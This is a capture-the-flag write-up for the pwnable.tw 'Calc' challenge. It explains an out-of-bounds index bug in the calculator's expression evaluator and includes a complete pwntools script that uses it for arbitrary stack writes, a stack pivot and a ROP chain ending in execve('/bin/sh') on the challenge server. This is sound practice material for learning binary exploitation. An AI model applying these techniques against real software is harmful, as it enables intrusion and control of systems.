###### tags: `pwnable.tw` `pwn`
# Calc

**Learning Points:**
- Fuzz it a little...
- +0
- [phone]
- +++++
- 1+1*1-1
- ...
-

## Vulnerability:

The vulnerability lies in the `eval` function.


Looking at the example for `1+2`,


At `0xffffcfe8`, it is tracking which integer to use. This is not especially important for the vulnerability, but you may notice that number increasing if you do something like this `123+1*1+1*1+1*1`. This happens because the calc program tries to do the multiplication before the addition, and would have to keep track of which integer to use.

At `0xffffcfe8+4`, its the first integer `1`.

At `0xffffcfe8+8`, its the second integer `2`.

---

At `calc+134`, the result is preparing to be printed.


In this operation (`mov eax, DWORD PTR [ebp+eax*4-0x59c]`), `eax` is `*0xffffcfe8` which is the place that tracks which integer to use. In normal situations, it is going to be `1` and subtracted with `1` to get `0`. The **main vuln** happens when `*0xffffcfe8` is not `1`.

This can happen when we do something like this `+10000`. When this is done, we corrupt the place that tracks which integer to use. Looking at the eval IDA function above, specfically line 5-7:

 if ( operation == '+' )
  {
    a1[*a1 - 1] += a1[*a1];
  }

The result of the addition is written to a1[*a1-1]. In the event where we only supply `+10000`, `0xffffcfe8` is the place that track which integer to use. It will be the value of 1. While `0xffffcfe8+4` = `10000`, we will do our addition into `0xffffcfe8` and corrupt that pointer. This pointer is then used in printf later on, and you might be able to notice some form of memory leak.

## Exploitation:

Concept of exploitation is to write my rop gadgets into the function `calc`'s stack frame. Since `calc` only exits at `0x8049433` when we supply an invalid express, we can repeatedly write the stack value to make our stack before triggering the exit.

---

First we have to locate the stack address. Set a breakpoint at `calc+186`, the stack address at that point of time is `0xffffd58c`. This is at offset `+361`.

The way to do an arbitrary write is this:
1) Send `+361+1`
2) Look at the `initial value` at `*0xffffd58c`
3) The target value written = `initial value + 1`

Doing this, we will write `0x0804949a(0x08049499+1*4)` into `*0xffffd58c`. And if we supply an invalid expression of `aaaa` next, calc function will ret into what we control.

___

Once we figure that out, we will ROP our way to a shell. Sadly, this binary does not seem to have any libc loaded, which I dont know why. My exploitation technique is this:
1) Locate a code cave in the ELF that is writable. This can be done with running the command `vmmap` in gdb and locate a R/W area. In my case, I found this `0x80ecfc0`.
2) Set up stack as below:

stack layout ==
+0x00: 	read function		(0x0806e6d0)
+0x04: 	stack pivot gadget 	(return address after read)
+0x08: 	0
+0x0C:	read destination 	(code cave)
+0x010:	read size

3) My technique is to return into read and i will send the stage 2 gadgets. I feel this is easier than manually writing using the offset method above.
4) After read is done, I noticed that the address of the code cave is in register ecx. So the stack pivot gadget, I found a `mov esp, ecx ; ret ` gadget.
5) We successfully pivot our stack to the code cave. Now we can just do our normal rop.

## Solution:

from pwn import *

elf = ELF('./calc')
OFFSET_PUTS_PLT = elf.symbols['puts']
OFFSET_READ_PLT = elf.symbols['read']
print("OFFSET_READ_PLT = ", hex(OFFSET_READ_PLT))

#p = gdb.debug('./calc', 
	#'''
	#break *calc+0xBA
	#break *eval+0x64
	#commands
	#print("In addition")
	#x/20wx $eax+$edx*4+0x4
	#end
	#break *eval+0x98 
	#commands
	#print("In subtraction")
	#x/20wx $eax+$edx*4+0x4
	#end
	#continue
	#''')

#p = process('./calc')
p = remote('chall.pwnable.tw' ,10100)


p.recvuntil(b'calculator')
p.sendline(b"+361")

#At +361, address = 0x08049499
# Writes read address into return address
initialAddress = 0x08049499
readAddress = 0x0806e6d0
offset = readAddress - initialAddress
payload = "+361+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

# Writes a code cave address
initialAddress = 0x25237
targetValue = 0x080bc913		#mov esp, ecx ; ret 
offset = targetValue - initialAddress
payload = "+362+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

################# CHECK THIS

# Writes read size
initialAddress = 0x080976dc
targetValue = 0
offset = initialAddress - targetValue
payload = "+363-" + str(offset) 
payload = payload.encode()
p.recv()
p.sendline(payload)

# Writes read destination
initialAddress = 0x080976dc
targetValue = 0x80ecfc0
offset = targetValue - initialAddress
payload = "+364+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

# Writes read size
initialAddress = 0x1
targetValue = 0x200
offset = targetValue - initialAddress
payload = "+365+" + str(offset)
payload = payload.encode()
p.recv()
p.sendline(payload)

# This will terminate calc and return into our read
p.sendline(b"aaaa")

# Here we send our rop gadget
#p.recv()
ropGadgets = p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x0809c1c2)
ropGadgets += p32(0x080701d0)	#pop edx ; pop ecx ; pop ebx ; ret
ropGadgets += p32(0x0)
ropGadgets += p32(0x0)
ropGadgets += p32(0x80ed008)	#address of /bin/sh that is after the syscall
ropGadgets += p32(0x0805c34b)	#pop eax ; ret
ropGadgets += p32(0xb)
ropGadgets += p32(0x0806dda3)	#syscall taken from alarm	
ropGadgets += b"/bin/sh\x00"
p.sendline(ropGadgets)

p.interactive()

'''
stack ==
+0x00: 	read function		(0x0806e6d0)
+0x04: 	stack pivot gadget 	(return address after read)
+0x08: 	0
+0x0C:	read destination 	(code cave)
+0x010:	read size
'''